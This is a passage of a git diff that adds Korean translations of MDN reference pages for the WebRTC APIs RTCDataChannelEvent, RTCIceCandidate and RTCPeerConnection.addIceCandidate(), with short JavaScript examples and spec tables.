@@ -0,0 +1,63 @@
+---
+title: RTCDataChannelEvent.channel
+slug: Web/API/RTCDataChannelEvent/channel
+translation_of: Web/API/RTCDataChannelEvent/channel
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <code><strong>RTCDataChannelEvent</strong></code><strong><code>.channel</code></strong>는 {{domxref("RTCDataChannel")}}와 관련이 있는 이벤트를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>channel</em> = <em>RTCDataChannelEvent</em>.channel;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("RTCDataChannel")}} 객체는 {{domxref("RTCPeerConnection")}}을 원격 피어와 연결해주는 데이터 채널을 알려줍니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>{{event("datachannel")}} 이벤트 핸들러 안 코드의 첫 줄에서 이벤트 객체의 채널을 가져오고, 이를 데이터 트래픽을 관리하는 코드에 사용 될 수 있도록 지역 변수로 저장합니다.</p>
+
+<pre class="brush: js">pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent-channel', 'RTCDataChannelEvent.channel') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCDataChannelEvent.channel")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("datachannel")}}</li>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li>{{domxref("RTCPeerConnection.ondatachannel")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/index.html
new file mode 100644
index 0000000000..0c9a390225
--- /dev/null
+++ b/files/ko/web/api/rtcdatachannelevent/index.html
@@ -0,0 +1,77 @@
+---
+title: RTCDataChannelEvent
+slug: Web/API/RTCDataChannelEvent
+translation_of: Web/API/RTCDataChannelEvent
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>RTCDataChannelEvent()</code></strong> 생성자는 {{domxref("datachannel")}}을 나타내는 신규 {{domxref("RTCDataChannelEvent")}} 객체를 반환합니다. 이 이벤트는 두 피어 사이에서 원격 피어가 {{domxref("RTCDataChannel")}}을 개통하도록 요청되었을때, {{domxref("RTCPeerConnection")}} 에 전달됩니다. </p>
+
+<p>WebRTC가 적절한 시기에 생성하고 전달해주기 때문에, <code>RTCDataChannelEvent</code>를 직접 생성하는 일은 매우 드물 것입니다. <code>RTCPeerConnection</code>에 의해 {{domxref("RTCPeerConnection.datachannel_event", "datachannel")}} 이벤트가 받아지는지를 감청하고, 해당 이벤트를 받으면 {{domxref("RTCDataChannelEvent.channel")}} 속성을 사용해서 개통된 데이터 채널에 대한 권한을 얻는 것이 일반적입니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("RTCDataChannelEvent.RTCDataChannelEvent()", "RTCDataChannelEvent()")}}</dt>
+ <dd>새로운 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCDataChannelEvent" title="The RTCDataChannelEvent() constructor returns a new RTCDataChannelEvent object, which represents a datachannel event. These events sent to an RTCPeerConnection when its remote peer is asking to open an RTCDataChannel between the two peers."><code>RTCDataChannelEvent</code></a>을 생성하는 <code><strong>RTCDataChannelEvent()</strong></code> 생성자입니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event" title="The Event interface represents an event which takes place in the DOM."><code>Event</code></a>의 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("RTCDataChannelEvent.channel")}} {{readOnlyInline}}</dt>
+ <dd>읽기 속성인 <code><strong>RTCDataChannelEvent</strong></code><strong><code>.channel</code></strong>는 이벤트와 관련된 RTCDataChannel를 반환합니다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>이 인터페이스에는 메소드가 존재하지 않습니다. 대신, <em><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event" title="The Event interface represents an event which takes place in the DOM."><code>Event</code></a></em>의 메소드를 상속합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제에서는 <code>datachannel</code> 이벤트 핸들러를 설정해서 데이터 채널의 참조된 정보를 저장하고, 모니터링 할 이벤트들에 대한 핸들러를 새로 설정합니다. {{domxref("RTCDataChannelEvent.channel", "channel")}} 속성은 다른 피어와의 연결을 나타내는 {{domxref("RTCDataChannel")}}을 제공합니다.</p>
+
+<pre class="brush: js">pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+</pre>
+
+<p>데이터 채널을 어떤 방식으로 사용하는지에 대한 더 좋은 예제는 <a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a>를 확인하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#idl-def-RTCDataChannelEvent', 'RTCDataChannelEvent') }}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCDataChannelEvent")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li>{{domxref("RTCDataChannel.ondatachannel")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+ <li>{{domxref("RTCPeerConnection")}} (the target interface for {{event("datachannel")}} events)</li>
+</ul>
diff --git a/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html
new file mode 100644
index 0000000000..42fcbbe4dc
--- /dev/null
+++ b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html
@@ -0,0 +1,75 @@
+---
+title: RTCDataChannelEvent()
+slug: Web/API/RTCDataChannelEvent/RTCDataChannelEvent
+translation_of: Web/API/RTCDataChannelEvent/RTCDataChannelEvent
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCDataChannelEvent()</strong></code> 생성자는 새로운 {{domxref("RTCDataChannelEvent")}}를 생성합니다.</p>
+
+<div class="note">
+<p>이 이벤트는 알아서 WebRTC 레이어에 생성되고 전달되기 때문에, <code>RTCDataChannelEvent</code>를 수동으로 생성하는 일은 거의 없습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>event</em> = new RTCDataChannelEvent(<em>type</em>, R<em>tcDataChannelEventInit</em>);</pre>
+
+<h3 id="패러미터">패러미터</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>이벤트의 이름을 알려주는 {{domxref("DOMString")}}입니다. 이름은 <code>RTCDataChannelEvent</code> 타입의 한 종류인 "datachannel" 딱 한 가지만 존재합니다.</dd>
+ <dt><code>RtcDataChannelEventInit</code></dt>
+ <dd>아래의 필드를 가지는 <code>RTCDataChannelEventInit</code> 딕셔너리 입니다:
+ <ul>
+  <li><code>"channel"</code>은 {domxref("RTCDataChannel")}}의 한 종류로, 이벤트에 의해 데이터 채널이 확인되었다는 것을 알려줍니다.</li>
+  <li><code>"bubbles"</code>은 옵션으로 설정이 가능하며, <code>EventInit</code>에서 상속됩니다. 이는 해당 이벤트가 무조건 <code>bubble</code>이 되어야하는지의 여부를 알려줍니다. 기본 값은 <code>false</code>입니다</li>
+  <li><code>"cancelable"</code>은 옵션으로 설정이 가능하며, <code>EventInit</code>에서 상속됩니다. 이는 해당 이벤트가 취소 될 수 있는지의 여부를 알려줍니다. 기본 값은 <code>false</code>입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="값">값</h3>
+
+<p>명시한대로 설정된 신규 {{domxref("RTCDataChannelEvent")}} 입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제는 신규 {{event("datachannel")}}를 생성합니다. <code>dc</code>는 이미 존재하는 데이터 채널을 뜻합니다.</p>
+
+<pre class="brush: js">var event = new RTCDataChannelEvent("datachannel", {"channel": dc});</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent', 'RTCDataChannelEvent') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCDataChannelEvent.RTCDataChannelEvent")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcicecandidate/candidate/index.html b/files/ko/web/api/rtcicecandidate/candidate/index.html
new file mode 100644
index 0000000000..e4d0f253a5
--- /dev/null
+++ b/files/ko/web/api/rtcicecandidate/candidate/index.html
@@ -0,0 +1,84 @@
+---
+title: RTCIceCandidate.candidate
+slug: Web/API/RTCIceCandidate/candidate
+translation_of: Web/API/RTCIceCandidate/candidate
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCIceCandidate")}} 인터페이스에 대한 읽기 속성인 <code><strong>candidate</strong></code>는 candidate에 대해 자세히 설명해주는 {{domxref("DOMString")}}를 반환합니다. </span></p>
+
+<p><code>RTCIceCandidate</code>의 거의 모든 다른 속성들은 사실 이 문자열에서 가져와진 것입니다.</p>
+
+<p>이 속성은 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}를 사용해서 신규 candidate 객체를 구성 할 때, {{domxref("RTCIceCandidateInit.candidate", "candidate")}} 속성의 값을 지정해서 설정 할 수 있습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>candidate</em> = <em>RTCIceCandidate</em>.candidate;</pre>
+
+<h3 id="값">값</h3>
+
+<p>반환되는 {{domxref("DOMString")}} 값은 {{Glossary("SDP")}}의 속성인 <code>"candidate"</code>에서 직접 가져와진 candidate의 속성에 대해 알려줍니다. candidate 문자열은 해당 candidate에 대한 네트워크 연결 정보를 명시합니다. <code>candidate</code>가 빈 문자열 (<code>""</code>)이라면, 더 이상 남아있는 candidate가 없다는 뜻입니다. 빈 문자열은 "candidate 종료" 표시자로도 알려져있습니다.</p>
+
+<p>candidate 문자열에 대한 구문은 {{RFC(5245, "", 15.1)}}에 설명되어있습니다. </p>
+
+<pre>a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host</pre>
+
+<p>위와 같은 a-line (속성 line)에서 해당하는 <code>candidate </code>문자열의 값은 <code>"candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host"</code>가 됩니다.</p>
+
+<p>{{Glossary("user agent")}}는 항상 가장 높거나 같은 {{domxref("RTCIceCandidate.priority", "priority")}}를 가진 candidate를 선호합니다. 위의 예시에서, 우선 순위는 <code>2043278322</code> 입니다. 속성은 단일 스페이스로 특정한 순서가 있습니다. 위의 candidate에 대한 전체 속성 리스트는 다음과 같습니다:</p>
+
+<ul>
+ <li>{{domxref("RTCIceCandidate.foundation", "foundation")}} = 4234997325</li>
+ <li>{{domxref("RTCIceCandidate.component", "component")}} = <code>"rtp"</code> (<code>"rtp"</code>는 1이 문자열에 있고, <code>"rtcp"</code>는 2가 문자열에 있습니다.)</li>
+ <li>{{domxref("RTCIceCandidate.protocol", "protocol")}} = <code>"udp"</code></li>
+ <li>{{domxref("RTCIceCandidate.priority", "priority")}} = 2043278322</li>
+ <li>{{domxref("RTCIceCandidate.ip", "ip")}} = <code>"192.168.0.56"</code></li>
+ <li>{{domxref("RTCIceCandidate.port", "port")}} = 44323</li>
+ <li>{{domxref("RTCIceCandidate.type", "type")}} = <code>"host"</code></li>
+</ul>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제에서는 시그널링 과정에서 원격 유저에게서 수신 받은 ICE candidate 정보를 가진 SDP 문자열을 입력으로 받는 함수입니다. </p>
+
+<pre class="brush: js">function handleNewIceCandidate(candidateSDP) {
+  var candidateObj = new RTCIceCandidate(candidateSDP);
+
+  myPeerConnection.addIceCandidate(candidateObj).catch({
+    /* handle the error thrown by addIceCandidate() */
+  });
+}</pre>
+
+<p><code>handleNewIceCandidate()</code> 함수는 수신 받은 candidate의 SDP 문자를 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}에 보내고, candidate를 알려주는 {{domxref("RTCIceCanddiate")}} 객체를 반환 받습니다.</p>
+
+<p>그 후, 신규 candidatesms {{domxref("RTCPeerConnection.addIceCandidate()")}}에 전달되서 candidate의 리스트에 추가해서 WebRTC가 연결 설정으로 사용 하도록 고려합니다. </p>
+
+<p>위 예제는 더 간단하게 표현 될 수 있습니다. ECMAScript 2016의 고급 기능들을 사용해서 아래와 같이 나타낼 수 있습니다:</p>
+
+<pre class="brush: js">let handleNewIceCandidate = candidateSDP =&gt;
+  myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-candidate', 'RTCIceCandidate.candidate')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCIceCandidate.candidate")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcicecandidate/index.html b/files/ko/web/api/rtcicecandidate/index.html
new file mode 100644
index 0000000000..fe5e3bc9ce
--- /dev/null
+++ b/files/ko/web/api/rtcicecandidate/index.html
@@ -0,0 +1,90 @@
+---
+title: RTCIceCandidate
+slug: Web/API/RTCIceCandidate
+translation_of: Web/API/RTCIceCandidate
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong><code>RTCIceCandidate</code></strong> 인터페이스는 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>의 한 종류로서, {{domxref("RTCPeerConnection")}}을 구축 할 때 사용되기도하는 Internet Connectivity Establishment ({{Glossary("ICE")}})의 후보군 (candidate)를 말합니다.</span></p>
+
+<p>하나의 ICE candidate는 WebRTC가 원격 장치와 통신을 하기 위해 요구되는 프로토콜과 라우팅에 대해 알려줍니다. WebRTC 피어 연결을 처음 시작하게되면, 일반적으로 여러개의 candiate들이 연결의 각 end에 의해 만들어집니다. 그리고 이 과정은 로컬 유저와 원격 유저가 연결을 위해 최고의 방법을 서로의 동의하에 선택하기 전까지 계속 됩니다. 이후에 WebRTC가 선택한 candidate를 사용해서 연결을 시도하게됩니다. </p>
+
+<p>ICE 과정이 어떻게 동작하는지 자세히 알고 싶다면, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a>을 확인해보십시오.이외에도 <a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a>에서는 유용한 추가 정보를 제공합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceCandidate.RTCIceCandidate()","RTCIceCandidate()")}}</dt>
+ <dd>단일 ICE candidate를 나타내기 위해 RTCIceCandidate 객체를 생성합니다. 옵션으로 {{domxref("RTCIceCandidateInit")}} 딕셔너리에 존재하는 객체를 이용해 설정이 가능합니다.
+ <div class="note"><strong>Note:</strong> 이전 버전의 호환성을 위해서는, 생성자가 {{domxref("RTCIceCandidate.candidate", "candidate")}} 속성의 값을 가진 문자열을 {{domxref("RTCIceCandidateInit")}} 객체 대신에 입력 인자로 받습니다. 이는 <code>candidate</code>가 <code>RTCIceCandidateInit</code>보다 더 많은 정보를 가지고 있기 때문입니다.</div>
+ </dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceCandidate.candidate", "candidate")}} {{readonlyInline}}</dt>
+ <dd>연결성 확인을 위해 사용 될 수 있는 candidate에 대한 전달 주소를 나타내는 {{domxref("DOMString")}}입니다. 이 주소의 형식은 {{RFC(5245)}}에 정의된바와 같이 <code>candidate-attribute</code> 입니다. <code>RTCIceCandidate</code>가 "마지막 candidate"를 알려주면, 이 문자열은 빈 문자열 (<code>""</code>)이 됩니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.component", "component")}} {{ReadOnlyInline}}</dt>
+ <dd>ICE candidate가 RTP (<code>rtp</code>) 인지 RTCP (<code>rtcp</code>)인지 알려주는 {{domxref("DOMString")}}입니다. 이 값들은 <code>candidate </code>라인 문자열에 있는 <code>"component-id"</code> 필드에서 가져와집니다. 허용되는 값은 {{domxref("RTCIceComponent")}} enum 타입에 정리되어있습니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.foundation", "foundation")}} {{readonlyInline}}</dt>
+ <dd>같은  유형의 candidate와 동일한 식별자를 가진 {{domxref("DOMString")}}를 반환합니다. {{domxref("DOMString")}}는 동일한 베이스 (ICE 에이전트가 candidate를 보낸 주소)를 공유하고, 동일한 {{Glossary("STUN")}}서버에서 가져와집니다. 이 속성을 사용해서 {{domxref("RTCIceTransport")}}객체에 나타나는 candidate의 우선 순위를 매기고 연관을 시키면서 ICE 성능을 최적화 할 수 있습니다. </dd>
+ <dt>{{domxref("RTCIceCandidate.ip", "ip")}} {{readonlyInline}}</dt>
+ <dd>candidate의 IP 주소를 가지고 있는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.port", "port")}} {{readonlyInline}}</dt>
+ <dd>candidate의 포트 넘버를 알려주는 정수 값 입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.priority", "priority")}} {{readonlyInline}}</dt>
+ <dd>candidate의 우선순위를 알려주는 long 정수 값 입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.protocol", "protocol")}} {{readonlyInline}}</dt>
+ <dd>candidate의 프로토콜이 <code>"tcp"</code>인지 <code>"udp"</code>인지 알려주는 문자열입니다. 이 문자열은 <code>RTCIceProtocol</code> enum 타입 중 하나 입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.relatedAddress", "relatedAddress")}} {{readonlyInline}}</dt>
+ <dd>candidate가 다른 candidate, 즉 호스트 candidate에서 가져와졌다면, <code>relatedAddress</code>는 호스트 candidate의 IP 주소를 포함하는 {{domxref("DOMString")}}입니다. 호스트 candidate에서 이 값은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.relatedPort", "relatedPort")}} {{readonlyInline}}</dt>
+ <dd>candidate가 relay 혹은 reflexive candidate로 부터 가져와진 경우, <code>relatedPort</code>는 해당하는 호스트 candidate의 포트 넘버를 가르킵니다. 마찬가지로, 호스트 candidate에서 이 값은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} {{readonlyInline}}</dt>
+ <dd>candidate의 미디어 스트림 식별 태그를 정의하는 {{domxref("DOMString")}}입니다. 여기서 식별 태그는 candidate와 연관이 있는 컴포넌트안의 미디어 스트림을 유일하게 식별합니다. candidate와 관련이 있는 미디어 스트림이 존재하지 않으면, 이 값은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}} {{readonlyInline}}</dt>
+ <dd>이 값이 <code>null</code>이 아니라면, <code>sdpMLineIndex</code>는 candidate와 연관 된 {{Glossary("SDP")}}의 미디어 설명에 대한, 0을 기준으로 하는 색인 번호를 알려줍니다 (<a href="https://tools.ietf.org/html/rfc4566">RFC 4566</a>에 정의되어 있습니다.). </dd>
+ <dt>{{domxref("RTCIceCandidate.tcpType", "tcpType")}} {{readonlyInline}}</dt>
+ <dd><code>protocol</code>이 <code>"tcp"</code>라면,<code>tcpType</code>은 TCP candidate의 타입을 알려줍니다. 이외에는 <code>tcpType</code>은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.type", "type")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("RTCIceCandidateType")}} enum 타입에 존재하는 문자열에 속하는 candidate의 타입을 알려주는 {{domxref("DOMString")}}입니다. </dd>
+ <dt>{{domxref("RTCIceCandidate.usernameFragment", "usernameFragment")}} {{ReadOnlyInline}}</dt>
+ <dd>ICE가 무작위로 생성된 비밀번호 (<code>"ice-pwd"</code>) 와 함께 메세지의 무결성을 확인하기 위해 사용하는 무작위로 생성된 유저 이름 조각 (<code>"ice-ufrag"</code>)을 가지고 있는 {{domxref("DOMString")}}입니다. 이 문자열을 사용해서 ICE 생성의 버전을 확인 할 수 있습니다. ICE가 재시작하더라도, 같은 버전의 ICE 프로세스는 동일한 <code>usernameFragment</code>를 가지게 됩니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceCandidate.toJSON", "toJSON()")}}</dt>
+ <dd><code>toJSON()</code>은 <code>RTCIceCandidate</code>의 현재 저장된 설정을 담은 {{Glossary("JSON")}} 표현식을 {{domxref("RTCIceCandidateInit")}} 객체의 형태로 변환시킨 {{domxref("DOMString")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>예시를 보려면, 전체 과정을 설명해주는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>문서를 확인하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#rtcicecandidate-interface', 'RTCIceCandidate')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCIceCandidate")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcicecandidate/tojson/index.html b/files/ko/web/api/rtcicecandidate/tojson/index.html
new file mode 100644
index 0000000000..5b222fc286
--- /dev/null
+++ b/files/ko/web/api/rtcicecandidate/tojson/index.html
@@ -0,0 +1,49 @@
+---
+title: RTCIceCandidate. toJSON()
+slug: Web/API/RTCIceCandidate/toJSON
+translation_of: Web/API/RTCIceCandidate/toJSON
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCIceCandidate")}} 메소드인 <code><strong>toJSON()</strong></code>은 JSON 형식으로 호출된 RTCIceCandidate를 {{domxref("RTCIceCandidateInit")}} 객체 형식으로 변환합니다. .</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>json</em> = RTC<em>IceCandidate</em>.toJSON();</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCIceCandidateInit")}} 딕셔너리에 상응하는 객체로, <code>RTCIceCandidate</code> 객체의 해당하는 값으로 설정됩니다.</p>
+
+<p>반환된 객체에 대한 문자열화된 버전의 객체는 {{jsxref("JSON.stringify", "stringify()")}}를 호출해서 가져올 수 있습니다. 아래의 {{anch("Example", "예시")}}를 참조하십시오.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 샘플 코드는 <code>candidate</code> 변수의 <code>RTCIceCandidate</code>를 나타내는 JSON 문자열을 가져옵니다.</p>
+
+<pre class="brush: js">var jsonString = candidate.toJSON().stringify();</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-tojson', 'RTCIceCandidate.toJSON()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCIceCandidate.toJSON")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html
new file mode 100644
index 0000000000..9062abc861
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html
@@ -0,0 +1,148 @@
+---
+title: RTCPeerConnection.addIceCandidate()
+slug: Web/API/RTCPeerConnection/addIceCandidate
+translation_of: Web/API/RTCPeerConnection/addIceCandidate
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}}을 사용하는 웹이나 앱이 신규 ICE candidate를 signaling 채널을 통해 원격 유저로부터 수신하게되면, <code><strong>RTCPeerConnection.addIceCandidate()</strong></code>를 호출해서 브라우저의 {{Glossary("ICE")}} 에이전트에게 새로 수신한 candidate를 전달합니다.</span> 이 메소드는 <code>RTCPeerConnection</code>의 원격 설명 (remote description)에 연결의 원격쪽 상태를 설명해주는 신규 원격 candidate를 추가합니다. </p>
+
+<p><code>addIceCandidate()</code> 호출시 <code>candidate</code> 매개변수가 존재하지 않거나 값이 <code>null</code>인 경우에, 추가된 ICE candidate는 "candidate 종료"를 알려줍니다. 지정한 객체의{{domxref("RTCIceCandidate.candidate", "candidate")}} 값이 존재하지 않거나, 빈 문자열 (<code>""</code>)인 경우에도 원격 candidate들이 모두 전달되었음을 알려줍니다. </p>
+
+<p>"candidate 종료" 알림은 a-line 값의 <code>end-of-candidates</code>를 가진 candidate와 함께 원격 유저에 송신됩니다.</p>
+
+<p>네고시에이션 중에 앱이 위의 방법처럼 ICE 에이전트에 전달할 다수의 candidate를 수신 받을 수 있고, 이는 가능한 연결 방법들의 리스트를 만들 수 있도록 도와줍니다. 자세한 내용은 <a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a>와 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>를 참고하십시오.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>aPromise </em>= <em>pc</em>.addIceCandidate(<em>candidate</em>);
+
+addIceCandidate(<em>candidate</em>, <em>successCallback</em>, <em>failureCallback</em>); {{deprecated_inline}}
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>candidate</code> {{optional_inline}}</dt>
+ <dd>
+ <p>{{domxref("RTCIceCandidateInit")}} 딕셔너리 혹은 {{domxref("RTCIceCandidate")}} 객체에 해당하는 객체입니다. 이 객체의 내용은 signaling 채널을 통해 수신 받은 메세지로 구성되어야합니다. 메세지는 이미 로컬 ICE 에이전트에 전달 될 준비가 된 새로 수신받은 ICE candidate를 설명합니다.</p>
+
+ <p><code>candidate </code>객체가 지정되어있지 않거나, <code>null</code>이라면, "candidate 종료" 신호가 <code>end-of-candidates</code> a-line을 사용해서 원격 유저에게 전달됩니다. a-line의 형식은 아래와 같습니다:</p>
+
+ <pre>a=end-of-candidates</pre>
+ </dd>
+</dl>
+
+<h3 id="더_이상_사용되지_않는_변수_(Deprecated)">더 이상 사용되지 않는 변수 (Deprecated)</h3>
+
